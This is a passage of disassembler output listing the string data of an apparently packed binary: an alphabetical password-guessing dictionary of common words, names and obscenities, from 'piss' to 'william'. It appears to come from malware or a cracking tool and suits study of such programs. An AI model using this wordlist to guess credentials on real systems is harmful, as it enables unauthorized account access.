aPiss db 'piss',0 ; DATA XREF: .nsp0:0043B494o
align 4
aPizza db 'pizza',0 ; DATA XREF: .nsp0:0043B498o
align 10h
aPlane db 'plane',0 ; DATA XREF: .nsp0:0043B49Co
align 4
aPlayboy db 'playboy',0 ; DATA XREF: .nsp0:0043B4A0o
aPlover db 'plover',0 ; DATA XREF: .nsp0:0043B4A4o
align 4
aPluto db 'pluto',0 ; DATA XREF: .nsp0:0043B4A8o
align 10h
aPlymouth db 'plymouth',0 ; DATA XREF: .nsp0:0043B4ACo
align 4
aPoetry db 'poetry',0 ; DATA XREF: .nsp0:0043B4B0o
align 4
aPolice db 'police',0 ; DATA XREF: .nsp0:0043B4B4o
align 4
aPolly db 'polly',0 ; DATA XREF: .nsp0:0043B4B8o
align 4
aPolynomi db 'polynomi',0 ; DATA XREF: .nsp0:0043B4BCo
align 10h
aPonderin db 'ponderin',0 ; DATA XREF: .nsp0:0043B4C0o
align 4
aPoop db 'poop',0 ; DATA XREF: .nsp0:0043B4C4o
align 4
aPoor db 'poor',0 ; DATA XREF: .nsp0:0043B4C8o
align 4
aPork db 'pork',0 ; DATA XREF: .nsp0:0043B4CCo
align 4
aPorn db 'porn',0 ; DATA XREF: .nsp0:0043B4D0o
align 4
aPorno db 'porno',0 ; DATA XREF: .nsp0:0043B4D4o
align 4
aPorsche db 'porsche',0 ; DATA XREF: .nsp0:0043B4D8o
aPost db 'post',0 ; DATA XREF: .nsp0:0043B4DCo
align 4
aPoster db 'poster',0 ; DATA XREF: .nsp0:0043B4E0o
align 4
aPower db 'power',0 ; DATA XREF: .nsp0:0043B4E4o
align 4
aPraise db 'praise',0 ; DATA XREF: .nsp0:0043B4E8o
align 4
aPrecious db 'precious',0 ; DATA XREF: .nsp0:0043B4ECo
align 4
aPrelude db 'prelude',0 ; DATA XREF: .nsp0:0043B4F0o
aPresto db 'presto',0 ; DATA XREF: .nsp0:0043B4F4o
align 4
aPrince db 'prince',0 ; DATA XREF: .nsp0:0043B4F8o
align 10h
aPrinceto db 'princeto',0 ; DATA XREF: .nsp0:0043B4FCo
align 4
aPrinter db 'printer',0 ; DATA XREF: .nsp0:0043B500o
aPriv db 'priv',0 ; DATA XREF: .nsp0:0043B504o
align 4
aPrivate db 'private',0 ; DATA XREF: .nsp0:0043B508o
aPrivs db 'privs',0 ; DATA XREF: .nsp0:0043B50Co
align 4
aProceed db 'proceed',0 ; DATA XREF: .nsp0:0043B510o
aProcesso db 'processo',0 ; DATA XREF: .nsp0:0043B514o
align 10h
aProfesso db 'professo',0 ; DATA XREF: .nsp0:0043B518o
align 4
aProfile db 'profile',0 ; DATA XREF: .nsp0:0043B51Co
aProgram db 'program',0 ; DATA XREF: .nsp0:0043B520o
aPrompt db 'prompt',0 ; DATA XREF: .nsp0:0043B524o
align 4
aProtect db 'protect',0 ; DATA XREF: .nsp0:0043B528o
aProtozoa db 'protozoa',0 ; DATA XREF: .nsp0:0043B52Co
align 4
aPsycho db 'psycho',0 ; DATA XREF: .nsp0:0043B530o
align 10h
aPsychopa db 'psychopa',0 ; DATA XREF: .nsp0:0043B534o
align 4
aPublic db 'public',0 ; DATA XREF: .nsp0:0043B538o
align 4
aPuck db 'puck',0 ; DATA XREF: .nsp0:0043B53Co
align 4
aPuke db 'puke',0 ; DATA XREF: .nsp0:0043B540o
align 4
aPumpkin db 'pumpkin',0 ; DATA XREF: .nsp0:0043B544o
aPuneet db 'puneet',0 ; DATA XREF: .nsp0:0043B548o
align 4
aPunisher db 'punisher',0 ; DATA XREF: .nsp0:0043B54Co
align 10h
aPunk db 'punk',0 ; DATA XREF: .nsp0:0043B550o
align 4
aPuppet db 'puppet',0 ; DATA XREF: .nsp0:0043B554o
align 10h
aPussy db 'pussy',0 ; DATA XREF: .nsp0:0043B558o
align 4
aQuebec db 'quebec',0 ; DATA XREF: .nsp0:0043B55Co
align 10h
aQwert db 'qwert',0 ; DATA XREF: .nsp0:0043B560o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .nsp0:0043B564o
align 10h
aRabbit db 'rabbit',0 ; DATA XREF: .nsp0:0043B568o
align 4
aRachel db 'rachel',0 ; DATA XREF: .nsp0:0043B56Co
align 10h
aRachelle db 'rachelle',0 ; DATA XREF: .nsp0:0043B570o
align 4
aRachmani db 'rachmani',0 ; DATA XREF: .nsp0:0043B574o
align 4
aRaid db 'raid',0 ; DATA XREF: .nsp0:0043B578o
align 10h
aRain db 'rain',0 ; DATA XREF: .nsp0:0043B57Co
align 4
aRainbow db 'rainbow',0 ; DATA XREF: .nsp0:0043B580o
aRaindrop db 'raindrop',0 ; DATA XREF: .nsp0:0043B584o
align 4
aRaleigh db 'raleigh',0 ; DATA XREF: .nsp0:0043B588o
aRandom_3 db 'random',0 ; DATA XREF: .nsp0:0043B58Co
align 4
aRape db 'rape',0 ; DATA XREF: .nsp0:0043B590o
align 4
aRascal db 'rascal',0 ; DATA XREF: .nsp0:0043B594o
align 4
aRazor db 'razor',0 ; DATA XREF: .nsp0:0043B598o
align 4
aReagan db 'reagan',0 ; DATA XREF: .nsp0:0043B59Co
align 4
aReality db 'reality',0 ; DATA XREF: .nsp0:0043B5A0o
aReally db 'really',0 ; DATA XREF: .nsp0:0043B5A4o
align 4
aReam db 'ream',0 ; DATA XREF: .nsp0:0043B5A8o
align 4
aReaper db 'reaper',0 ; DATA XREF: .nsp0:0043B5ACo
align 4
aRebal db 'rebal',0 ; DATA XREF: .nsp0:0043B5B0o
align 4
aRebecca db 'rebecca',0 ; DATA XREF: .nsp0:0043B5B4o
aRebel db 'rebel',0 ; DATA XREF: .nsp0:0043B5B8o
align 4
aRecord db 'record',0 ; DATA XREF: .nsp0:0043B5BCo
align 4
aReddawn db 'reddawn',0 ; DATA XREF: .nsp0:0043B5C0o
aRedhead db 'redhead',0 ; DATA XREF: .nsp0:0043B5C4o
aReferenc db 'referenc',0 ; DATA XREF: .nsp0:0043B5C8o
align 4
aRegional db 'regional',0 ; DATA XREF: .nsp0:0043B5CCo
align 4
aRelease db 'release',0 ; DATA XREF: .nsp0:0043B5D0o
aRemote db 'remote',0 ; DATA XREF: .nsp0:0043B5D4o
align 4
aRenee db 'renee',0 ; DATA XREF: .nsp0:0043B5D8o
align 4
aReno db 'reno',0 ; DATA XREF: .nsp0:0043B5DCo
align 4
aRent db 'rent',0 ; DATA XREF: .nsp0:0043B5E0o
align 4
aReport db 'report',0 ; DATA XREF: .nsp0:0043B5E4o
align 4
aRepublic db 'republic',0 ; DATA XREF: .nsp0:0043B5E8o
align 10h
aResistan db 'resistan',0 ; DATA XREF: .nsp0:0043B5ECo
align 4
aReveal db 'reveal',0 ; DATA XREF: .nsp0:0043B5F0o
align 4
aRhino db 'rhino',0 ; DATA XREF: .nsp0:0043B5F4o
align 4
aRich db 'rich',0 ; DATA XREF: .nsp0:0043B5F8o
align 4
aRick db 'rick',0 ; DATA XREF: .nsp0:0043B5FCo
align 4
aRiffraff db 'riffraff',0 ; DATA XREF: .nsp0:0043B600o
align 4
aRight db 'right',0 ; DATA XREF: .nsp0:0043B604o
align 10h
aRightwin db 'rightwin',0 ; DATA XREF: .nsp0:0043B608o
align 4
aRing db 'ring',0 ; DATA XREF: .nsp0:0043B60Co
align 4
aRiot db 'riot',0 ; DATA XREF: .nsp0:0043B610o
align 4
aRipple db 'ripple',0 ; DATA XREF: .nsp0:0043B614o
align 4
aRisc db 'risc',0 ; DATA XREF: .nsp0:0043B618o
align 4
aRoach db 'roach',0 ; DATA XREF: .nsp0:0043B61Co
align 4
aRobert db 'robert',0 ; DATA XREF: .nsp0:0043B620o
align 4
aRobin db 'robin',0 ; DATA XREF: .nsp0:0043B624o
align 4
aRobot db 'robot',0 ; DATA XREF: .nsp0:0043B628o
align 4
aRobotics db 'robotics',0 ; DATA XREF: .nsp0:0043B62Co
align 4
aRobyn db 'robyn',0 ; DATA XREF: .nsp0:0043B630o
align 10h
aRochelle db 'rochelle',0 ; DATA XREF: .nsp0:0043B634o
align 4
aRocheste db 'rocheste',0 ; DATA XREF: .nsp0:0043B638o
align 4
aRock db 'rock',0 ; DATA XREF: .nsp0:0043B63Co
align 10h
aRocky db 'rocky',0 ; DATA XREF: .nsp0:0043B640o
align 4
aRockyhor db 'rockyhor',0 ; DATA XREF: .nsp0:0043B644o
align 4
aRodent db 'rodent',0 ; DATA XREF: .nsp0:0043B648o
align 4
aRolex db 'rolex',0 ; DATA XREF: .nsp0:0043B64Co
align 4
aRomano db 'romano',0 ; DATA XREF: .nsp0:0043B650o
align 4
aRomeo db 'romeo',0 ; DATA XREF: .nsp0:0043B654o
align 4
aRomulan db 'romulan',0 ; DATA XREF: .nsp0:0043B658o
aRonald db 'ronald',0 ; DATA XREF: .nsp0:0043B65Co
align 4
aRose db 'rose',0 ; DATA XREF: .nsp0:0043B660o
align 4
aRosebud db 'rosebud',0 ; DATA XREF: .nsp0:0043B664o
aRosemary db 'rosemary',0 ; DATA XREF: .nsp0:0043B668o
align 10h
aRoses db 'roses',0 ; DATA XREF: .nsp0:0043B66Co
align 4
aRough db 'rough',0 ; DATA XREF: .nsp0:0043B670o
align 10h
aRubber db 'rubber',0 ; DATA XREF: .nsp0:0043B674o
align 4
aRuben db 'ruben',0 ; DATA XREF: .nsp0:0043B678o
align 10h
aRuby db 'ruby',0 ; DATA XREF: .nsp0:0043B67Co
align 4
aRude db 'rude',0 ; DATA XREF: .nsp0:0043B680o
align 10h
aRules db 'rules',0 ; DATA XREF: .nsp0:0043B684o
align 4
aRunning db 'running',0 ; DATA XREF: .nsp0:0043B688o
aRush db 'rush',0 ; DATA XREF: .nsp0:0043B68Co
align 4
aRuth db 'ruth',0 ; DATA XREF: .nsp0:0043B690o
align 10h
aSafe db 'safe',0 ; DATA XREF: .nsp0:0043B694o
align 4
aSalami db 'salami',0 ; DATA XREF: .nsp0:0043B698o
align 10h
aSale db 'sale',0 ; DATA XREF: .nsp0:0043B69Co
align 4
aSalt db 'salt',0 ; DATA XREF: .nsp0:0043B6A0o
align 10h
aSamantha db 'samantha',0 ; DATA XREF: .nsp0:0043B6A4o
align 4
aSample db 'sample',0 ; DATA XREF: .nsp0:0043B6A8o
align 4
aSandra db 'sandra',0 ; DATA XREF: .nsp0:0043B6ACo
align 4
aSandy db 'sandy',0 ; DATA XREF: .nsp0:0043B6B0o
align 4
aSara db 'sara',0 ; DATA XREF: .nsp0:0043B6B4o
align 4
aSarah db 'sarah',0 ; DATA XREF: .nsp0:0043B6B8o
align 4
aSaturday_0 db 'saturday',0 ; DATA XREF: .nsp0:0043B6BCo
align 10h
aSaturn db 'saturn',0 ; DATA XREF: .nsp0:0043B6C0o
align 4
aSaxon db 'saxon',0 ; DATA XREF: .nsp0:0043B6C4o
align 10h
aScamper db 'scamper',0 ; DATA XREF: .nsp0:0043B6C8o
aScheme db 'scheme',0 ; DATA XREF: .nsp0:0043B6CCo
align 10h
aSchool db 'school',0 ; DATA XREF: .nsp0:0043B6D0o
align 4
aSchoolsucks db 'schoolsucks',0 ; DATA XREF: .nsp0:0043B6D4o
aScifi db 'scifi',0 ; DATA XREF: .nsp0:0043B6D8o
align 4
aScorpion db 'scorpion',0 ; DATA XREF: .nsp0:0043B6DCo
align 4
aScott db 'scott',0 ; DATA XREF: .nsp0:0043B6E0o
align 10h
aScotty db 'scotty',0 ; DATA XREF: .nsp0:0043B6E4o
align 4
aScout db 'scout',0 ; DATA XREF: .nsp0:0043B6E8o
align 10h
aSearch db 'search',0 ; DATA XREF: .nsp0:0043B6ECo
align 4
aSecurity db 'security',0 ; DATA XREF: .nsp0:0043B6F0o
align 4
aSeed db 'seed',0 ; DATA XREF: .nsp0:0043B6F4o
align 4
aSega db 'sega',0 ; DATA XREF: .nsp0:0043B6F8o
align 4
aSensor db 'sensor',0 ; DATA XREF: .nsp0:0043B6FCo
align 4
aSentinel db 'sentinel',0 ; DATA XREF: .nsp0:0043B700o
align 4
aSentry db 'sentry',0 ; DATA XREF: .nsp0:0043B704o
align 10h
aSerenity db 'serenity',0
align 4
aSerial db 'serial',0
align 4
aService_0 db 'service',0
aSesame db 'sesame',0
align 4
aSexy db 'sexy',0
align 4
aShannon db 'shannon',0
aSharc db 'sharc',0
align 4
aShark db 'shark',0
align 4
aSharks db 'sharks',0
align 4
aSharon db 'sharon',0
align 4
aSheffiel db 'sheffiel',0
align 10h
aSheldon db 'sheldon',0
aShell db 'shell',0
align 10h
aSherri db 'sherri',0
align 4
aShift db 'shift',0
align 10h
aShirley db 'shirley',0
aShit db 'shit',0
align 10h
aShitpot db 'shitpot',0
aShiva db 'shiva',0
align 10h
aShivers db 'shivers',0
aShort db 'short',0
align 10h
aShuttle db 'shuttle',0
aSick db 'sick',0
align 10h
aSierra db 'sierra',0
align 4
aSignatur db 'signatur',0
align 4
aSilver db 'silver',0
align 4
aSimcity db 'simcity',0
aSimon db 'simon',0
align 4
aSimple db 'simple',0
align 4
aSimpsons db 'simpsons',0
align 10h
aSimulati db 'simulati',0
align 4
aSinger db 'singer',0
align 4
aSingle db 'single',0
align 4
aSite db 'site',0
align 4
aSkull db 'skull',0
align 4
aSlave db 'slave',0
align 4
aSlick db 'slick',0
align 4
aSliders db 'sliders',0
aSlow db 'slow',0
align 4
aSlut db 'slut',0
align 4
aSmall db 'small',0
align 4
aSmart db 'smart',0
align 4
aSmile db 'smile',0
align 4
aSmiles db 'smiles',0
align 4
aSmooch db 'smooch',0
align 4
aSmother db 'smother',0
aSmtp db 'smtp',0
align 4
aSmut db 'smut',0
align 4
aSnach db 'snach',0
align 4
aSnafu db 'snafu',0
align 4
aSnake db 'snake',0
align 4
aSnatch db 'snatch',0
align 4
aSnoopy db 'snoopy',0
align 4
aSoap db 'soap',0
align 4
aSocial db 'social',0
align 4
aSocrates db 'socrates',0
align 4
aSodomy db 'sodomy',0
align 10h
aSoft db 'soft',0
align 4
aSoftware db 'software',0
align 4
aSomebody db 'somebody',0
align 10h
aSondra db 'sondra',0 ; DATA XREF: .nsp0:0043B7F5o
align 4
aSonia db 'sonia',0
align 10h
aSonic db 'sonic',0
align 4
aSonya db 'sonya',0 ; DATA XREF: .nsp0:0043B801o
align 10h
aSossina db 'sossina',0
aSource db 'source',0
align 10h
aSouth db 'south',0 ; DATA XREF: .nsp0:0043B80Do
align 4
aSpaceshi db 'spaceshi',0
align 4
aSparrows db 'sparrows',0 ; DATA XREF: .nsp0:0043B815o
align 10h
aSpear db 'spear',0
align 4
aSpell db 'spell',0 ; DATA XREF: .nsp0:loc_43B81Do
align 10h
aSpice db 'spice',0
align 4
aSpider db 'spider',0
align 10h
aSpiderma db 'spiderma',0
align 4
aSpit db 'spit',0
align 4
aSpred db 'spred',0 ; DATA XREF: .nsp0:0043B831o
align 4
aSpring db 'spring',0
align 4
aSpringer db 'springer',0 ; DATA XREF: .nsp0:0043B839o
align 10h
aSpunk db 'spunk',0
align 4
aSquires db 'squires',0
aSr71 db 'sr71',0
align 4
aStacey db 'stacey',0 ; DATA XREF: .nsp0:0043B849o
align 10h
aStaci db 'staci',0
align 4
aStacie db 'stacie',0
align 10h
aStacy db 'stacy',0 ; DATA XREF: .nsp0:0043B855o
align 4
aStar db 'star',0 ; DATA XREF: .nsp0:0043B85Co
align 10h
aStarship db 'starship',0 ; DATA XREF: .nsp0:0043B860o
align 4
aStart_0 db 'start',0 ; DATA XREF: .nsp0:0043B864o
align 4
aStartrek db 'startrek',0 ; DATA XREF: .nsp0:0043B868o
align 10h
aStartup db 'startup',0 ; DATA XREF: .nsp0:0043B86Co
aStarwars db 'starwars',0 ; DATA XREF: .nsp0:0043B870o
align 4
aSteak db 'steak',0 ; DATA XREF: .nsp0:0043B874o
align 4
aSteal db 'steal',0 ; DATA XREF: .nsp0:0043B878o
align 4
aSteel db 'steel',0 ; DATA XREF: .nsp0:0043B87Co
align 4
aSteph db 'steph',0 ; DATA XREF: .nsp0:0043B880o
align 4
aStephani db 'stephani',0 ; DATA XREF: .nsp0:0043B884o
align 10h
aStereo db 'stereo',0 ; DATA XREF: .nsp0:0043B888o
align 4
aSteve db 'steve',0 ; DATA XREF: .nsp0:0043B88Co
align 10h
aStoneage db 'stoneage',0 ; DATA XREF: .nsp0:0043B890o
align 4
aStoned db 'stoned',0 ; DATA XREF: .nsp0:0043B894o
align 4
aStones db 'stones',0 ; DATA XREF: .nsp0:0043B898o
align 4
aStrange db 'strange',0 ; DATA XREF: .nsp0:0043B89Co
aStrangle db 'strangle',0 ; DATA XREF: .nsp0:0043B8A0o
align 10h
aStratfor db 'stratfor',0 ; DATA XREF: .nsp0:0043B8A4o
align 4
aStreetfi db 'streetfi',0 ; DATA XREF: .nsp0:0043B8A8o
align 4
aString db 'string',0 ; DATA XREF: .nsp0:0043B8ACo
align 10h
aStrip db 'strip',0 ; DATA XREF: .nsp0:0043B8B0o
align 4
aStudent_0 db 'student',0 ; DATA XREF: .nsp0:0043B8B4o
aStuttgar db 'stuttgar',0 ; DATA XREF: .nsp0:0043B8B8o
align 4
aSubscrib db 'subscrib',0 ; DATA XREF: .nsp0:0043B8BCo
align 4
aSubway db 'subway',0 ; DATA XREF: .nsp0:0043B8C0o
align 10h
aSuccess db 'success',0 ; DATA XREF: .nsp0:0043B8C4o
aSuck db 'suck',0 ; DATA XREF: .nsp0:0043B8C8o
align 10h
aSuckmydi db 'suckmydi',0 ; DATA XREF: .nsp0:0043B8CCo
align 4
aSucks db 'sucks',0 ; DATA XREF: .nsp0:0043B8D0o
align 4
aSummer db 'summer',0 ; DATA XREF: .nsp0:0043B8D4o
align 4
aSunday_0 db 'sunday',0 ; DATA XREF: .nsp0:0043B8D8o
align 4
aSuperman db 'superman',0 ; DATA XREF: .nsp0:0043B8DCo
align 10h
aSuperson db 'superson',0 ; DATA XREF: .nsp0:0043B8E0o
align 4
aSupersta db 'supersta',0 ; DATA XREF: .nsp0:0043B8E4o
align 4
aSuperuse db 'superuse',0 ; DATA XREF: .nsp0:0043B8E8o
align 4
aSupervis db 'supervis',0 ; DATA XREF: .nsp0:0043B8ECo
align 10h
aSupport db 'support',0 ; DATA XREF: .nsp0:0043B8F0o
aSupporte db 'supporte',0 ; DATA XREF: .nsp0:0043B8F4o
align 4
aSurfer db 'surfer',0 ; DATA XREF: .nsp0:0043B8F8o
align 4
aSurfing db 'surfing',0 ; DATA XREF: .nsp0:0043B8FCo
aSusan db 'susan',0 ; DATA XREF: .nsp0:0043B900o
align 4
aSusanne db 'susanne',0 ; DATA XREF: .nsp0:0043B904o
aSusie db 'susie',0 ; DATA XREF: .nsp0:0043B908o
align 4
aSuzanne db 'suzanne',0 ; DATA XREF: .nsp0:0043B90Co
aSuzie db 'suzie',0 ; DATA XREF: .nsp0:0043B910o
align 4
aSwearer db 'swearer',0 ; DATA XREF: .nsp0:0043B914o
aSweat db 'sweat',0 ; DATA XREF: .nsp0:0043B918o
align 4
aSwitch db 'switch',0 ; DATA XREF: .nsp0:0043B91Co
align 4
aSword db 'sword',0 ; DATA XREF: .nsp0:0043B920o
align 4
aSybil db 'sybil',0 ; DATA XREF: .nsp0:0043B924o
align 4
aSymmetry db 'symmetry',0 ; DATA XREF: .nsp0:0043B928o
align 10h
aSysadmin db 'sysadmin',0 ; DATA XREF: .nsp0:0043B92Co
align 4
aSysop db 'sysop',0 ; DATA XREF: .nsp0:0043B930o
align 4
aTabasco db 'tabasco',0 ; DATA XREF: .nsp0:0043B934o
aTalk db 'talk',0 ; DATA XREF: .nsp0:0043B938o
align 4
aTall db 'tall',0 ; DATA XREF: .nsp0:0043B93Co
align 4
aTamara db 'tamara',0 ; DATA XREF: .nsp0:0043B940o
align 4
aTami db 'tami',0 ; DATA XREF: .nsp0:0043B944o
align 4
aTamie db 'tamie',0 ; DATA XREF: .nsp0:0043B948o
align 4
aTammy db 'tammy',0 ; DATA XREF: .nsp0:0043B94Co
align 4
aTangerin db 'tangerin',0 ; DATA XREF: .nsp0:0043B950o
align 4
aTango db 'tango',0 ; DATA XREF: .nsp0:0043B954o
align 10h
aTape db 'tape',0 ; DATA XREF: .nsp0:0043B958o
align 4
aTara db 'tara',0 ; DATA XREF: .nsp0:0043B95Co
align 10h
aTarget db 'target',0 ; DATA XREF: .nsp0:0043B960o
align 4
aTarragon db 'tarragon',0 ; DATA XREF: .nsp0:0043B964o
align 4
aTaylor db 'taylor',0 ; DATA XREF: .nsp0:0043B968o
align 4
aTeacher_0 db 'teacher',0 ; DATA XREF: .nsp0:0043B96Co
aTeam db 'team',0 ; DATA XREF: .nsp0:0043B970o
align 4
aTeapot db 'teapot',0 ; DATA XREF: .nsp0:0043B974o
align 4
aTears db 'tears',0 ; DATA XREF: .nsp0:0043B978o
align 4
aTech db 'tech',0 ; DATA XREF: .nsp0:0043B97Co
align 4
aTeen db 'teen',0 ; DATA XREF: .nsp0:0043B980o
align 4
aTeenage db 'teenage',0 ; DATA XREF: .nsp0:0043B984o
aTelephon db 'telephon',0 ; DATA XREF: .nsp0:0043B988o
align 10h
aTelnet db 'telnet',0 ; DATA XREF: .nsp0:0043B98Co
align 4
aTemptati db 'temptati',0 ; DATA XREF: .nsp0:0043B990o
align 4
aTennis db 'tennis',0 ; DATA XREF: .nsp0:0043B994o
align 4
aTera db 'tera',0 ; DATA XREF: .nsp0:0043B998o
align 4
aTerminal db 'terminal',0 ; DATA XREF: .nsp0:0043B99Co
align 10h
aTerminat db 'terminat',0 ; DATA XREF: .nsp0:0043B9A0o
align 4
aTess db 'tess',0 ; DATA XREF: .nsp0:0043B9A4o
align 4
aTetris db 'tetris',0 ; DATA XREF: .nsp0:0043B9A8o
align 4
aText db 'text',0 ; DATA XREF: .nsp0:0043B9ACo
align 4
aThailand db 'thailand',0 ; DATA XREF: .nsp0:0043B9B0o
align 10h
aTheresa db 'theresa',0 ; DATA XREF: .nsp0:0043B9B4o
aThin db 'thin',0 ; DATA XREF: .nsp0:0043B9B8o
align 10h
aThursday_0 db 'thursday',0 ; DATA XREF: .nsp0:0043B9BCo
align 4
aTiffany db 'tiffany',0 ; DATA XREF: .nsp0:0043B9C0o
aTiger db 'tiger',0 ; DATA XREF: .nsp0:0043B9C4o
align 4
aTime db 'time',0 ; DATA XREF: .nsp0:0043B9C8o
align 4
aTina db 'tina',0 ; DATA XREF: .nsp0:0043B9CCo
align 4
aTits db 'tits',0 ; DATA XREF: .nsp0:0043B9D0o
align 4
aToad db 'toad',0 ; DATA XREF: .nsp0:0043B9D4o
align 4
aToggle db 'toggle',0 ; DATA XREF: .nsp0:0043B9D8o
align 4
aToken db 'token',0 ; DATA XREF: .nsp0:0043B9DCo
align 4
aTokenrin db 'tokenrin',0 ; DATA XREF: .nsp0:0043B9E0o
align 4
aTomato db 'tomato',0 ; DATA XREF: .nsp0:0043B9E4o
align 10h
aTopograp db 'topograp',0 ; DATA XREF: .nsp0:0043B9E8o
align 4
aTortoise db 'tortoise',0 ; DATA XREF: .nsp0:0043B9ECo
align 4
aToxic db 'toxic',0 ; DATA XREF: .nsp0:0043B9F0o
align 10h
aToyota db 'toyota',0 ; DATA XREF: .nsp0:0043B9F4o
align 4
aTraci db 'traci',0 ; DATA XREF: .nsp0:0043B9F8o
align 10h
aTracie db 'tracie',0 ; DATA XREF: .nsp0:0043B9FCo
align 4
aTracy db 'tracy',0 ; DATA XREF: .nsp0:0043BA00o
align 10h
aTrails db 'trails',0 ; DATA XREF: .nsp0:0043BA04o
align 4
aTransfer db 'transfer',0 ; DATA XREF: .nsp0:0043BA08o
align 4
aTrap db 'trap',0 ; DATA XREF: .nsp0:0043BA0Co
align 4
aTrapdoor db 'trapdoor',0 ; DATA XREF: .nsp0:0043BA10o
align 4
aTree db 'tree',0 ; DATA XREF: .nsp0:0043BA14o
align 10h
aTrek db 'trek',0 ; DATA XREF: .nsp0:0043BA18o
align 4
aTrisha db 'trisha',0 ; DATA XREF: .nsp0:0043BA1Co
align 10h
aTrivial db 'trivial',0 ; DATA XREF: .nsp0:0043BA20o
aTrojan db 'trojan',0 ; DATA XREF: .nsp0:0043BA24o
align 10h
aTrombone db 'trombone',0 ; DATA XREF: .nsp0:0043BA28o
align 4
aTron db 'tron',0 ; DATA XREF: .nsp0:0043BA2Co
align 4
aTrue db 'true',0 ; DATA XREF: .nsp0:0043BA30o
align 4
aTruth db 'truth',0 ; DATA XREF: .nsp0:0043BA34o
align 4
aTubas db 'tubas',0 ; DATA XREF: .nsp0:0043BA38o
align 4
aTuesday_0 db 'tuesday',0 ; DATA XREF: .nsp0:0043BA3Co
aTurn db 'turn',0 ; DATA XREF: .nsp0:0043BA40o
align 4
aTuttle db 'tuttle',0 ; DATA XREF: .nsp0:0043BA44o
align 4
aUgly db 'ugly',0 ; DATA XREF: .nsp0:0043BA48o
align 4
aUmesh db 'umesh',0 ; DATA XREF: .nsp0:0043BA4Co
align 4
aUncle db 'uncle',0 ; DATA XREF: .nsp0:0043BA50o
align 4
aUndo db 'undo',0 ; DATA XREF: .nsp0:0043BA54o
align 4
aUnhappy db 'unhappy',0 ; DATA XREF: .nsp0:0043BA58o
aUnicorn db 'unicorn',0 ; DATA XREF: .nsp0:0043BA5Co
aUniform db 'uniform',0 ; DATA XREF: .nsp0:0043BA60o
aUniversa db 'universa',0 ; DATA XREF: .nsp0:0043BA64o
align 4
aUniverse db 'universe',0 ; DATA XREF: .nsp0:0043BA68o
align 4
aUniversi db 'universi',0 ; DATA XREF: .nsp0:0043BA6Co
align 10h
aUnknown_1 db 'unknown',0 ; DATA XREF: .nsp0:0043BA70o
aUnlock db 'unlock',0 ; DATA XREF: .nsp0:0043BA74o
align 10h
aUpload_0 db 'upload',0 ; DATA XREF: .nsp0:0043BA78o
align 4
aUranus db 'uranus',0 ; DATA XREF: .nsp0:0043BA7Co
align 10h
aUrchin db 'urchin',0 ; DATA XREF: .nsp0:0043BA80o
align 4
aUrsula db 'ursula',0 ; DATA XREF: .nsp0:0043BA84o
align 10h
aUsenet db 'usenet',0 ; DATA XREF: .nsp0:0043BA88o
align 4
aUsermane db 'usermane',0 ; DATA XREF: .nsp0:0043BA8Co
align 4
aUsername db 'username',0 ; DATA XREF: .nsp0:0043BA90o
align 10h
aUsmc db 'usmc',0 ; DATA XREF: .nsp0:0043BA94o
align 4
aUtil db 'util',0 ; DATA XREF: .nsp0:0043BA98o
align 10h
aUtility db 'utility',0 ; DATA XREF: .nsp0:0043BA9Co
aUucp db 'uucp',0 ; DATA XREF: .nsp0:0043BAA0o
align 10h
aVagina db 'vagina',0 ; DATA XREF: .nsp0:0043BAA4o
align 4
aValerie db 'valerie',0 ; DATA XREF: .nsp0:0043BAA8o
aVampire db 'vampire',0 ; DATA XREF: .nsp0:0043BAACo
aVasant db 'vasant',0 ; DATA XREF: .nsp0:0043BAB0o
align 10h
aVenus db 'venus',0 ; DATA XREF: .nsp0:0043BAB4o
align 4
aVeronica db 'veronica',0 ; DATA XREF: .nsp0:0043BAB8o
align 4
aVertigo db 'vertigo',0 ; DATA XREF: .nsp0:0043BABCo
aVicky db 'vicky',0 ; DATA XREF: .nsp0:0043BAC0o
align 4
aVictor db 'victor',0 ; DATA XREF: .nsp0:0043BAC4o
align 4
aVideo db 'video',0 ; DATA XREF: .nsp0:0043BAC8o
align 4
aVideogam db 'videogam',0 ; DATA XREF: .nsp0:0043BACCo
align 10h
aVillage db 'village',0 ; DATA XREF: .nsp0:0043BAD0o
aVirgin db 'virgin',0 ; DATA XREF: .nsp0:0043BAD4o
align 10h
aVirginia db 'virginia',0 ; DATA XREF: .nsp0:0043BAD8o
align 4
aVirus db 'virus',0 ; DATA XREF: .nsp0:0043BADCo
align 4
aVisitor db 'visitor',0 ; DATA XREF: .nsp0:0043BAE0o
aVisual db 'visual',0 ; DATA XREF: .nsp0:0043BAE4o
align 4
aVisualba db 'visualba',0 ; DATA XREF: .nsp0:0043BAE8o
align 10h
aVodka db 'vodka',0 ; DATA XREF: .nsp0:0043BAECo
align 4
aWaco db 'waco',0 ; DATA XREF: .nsp0:0043BAF0o
align 10h
aWard db 'ward',0 ; DATA XREF: .nsp0:0043BAF4o
align 4
aWarez db 'warez',0 ; DATA XREF: .nsp0:0043BAF8o
align 10h
aWarfare db 'warfare',0 ; DATA XREF: .nsp0:0043BAFCo
aWargames db 'wargames',0 ; DATA XREF: .nsp0:0043BB00o
align 4
aWarp db 'warp',0 ; DATA XREF: .nsp0:0043BB04o
align 4
aWarren db 'warren',0 ; DATA XREF: .nsp0:0043BB08o
align 4
aWasp db 'wasp',0 ; DATA XREF: .nsp0:0043BB0Co
align 4
aWatchwor db 'watchwor',0 ; DATA XREF: .nsp0:0043BB10o
align 4
aWater db 'water',0 ; DATA XREF: .nsp0:0043BB14o
align 10h
aWave db 'wave',0 ; DATA XREF: .nsp0:0043BB18o
align 4
aWebpage db 'webpage',0 ; DATA XREF: .nsp0:0043BB1Co
aWednesda db 'wednesda',0 ; DATA XREF: .nsp0:0043BB20o
align 4
aWeed db 'weed',0 ; DATA XREF: .nsp0:0043BB24o
align 4
aWeenie db 'weenie',0 ; DATA XREF: .nsp0:0043BB28o
align 4
aWell db 'well',0 ; DATA XREF: .nsp0:0043BB2Co
align 4
aWendi db 'wendi',0 ; DATA XREF: .nsp0:0043BB30o
align 4
aWendy db 'wendy',0 ; DATA XREF: .nsp0:0043BB34o
align 4
aWerewolf db 'werewolf',0 ; DATA XREF: .nsp0:0043BB38o
align 10h
aWest db 'west',0
align 4
aWestern db 'western',0
aWhatever db 'whatever',0
align 4
aWhatnot db 'whatnot',0
aWhisky db 'whisky',0
align 4
aWhite db 'white',0
align 4
aWhiting db 'whiting',0
aWhitney db 'whitney',0
aWholesal db 'wholesal',0
align 10h
aWhore db 'whore',0
align 4
aWill db 'will',0
align 10h
aWilliam db 'william',0
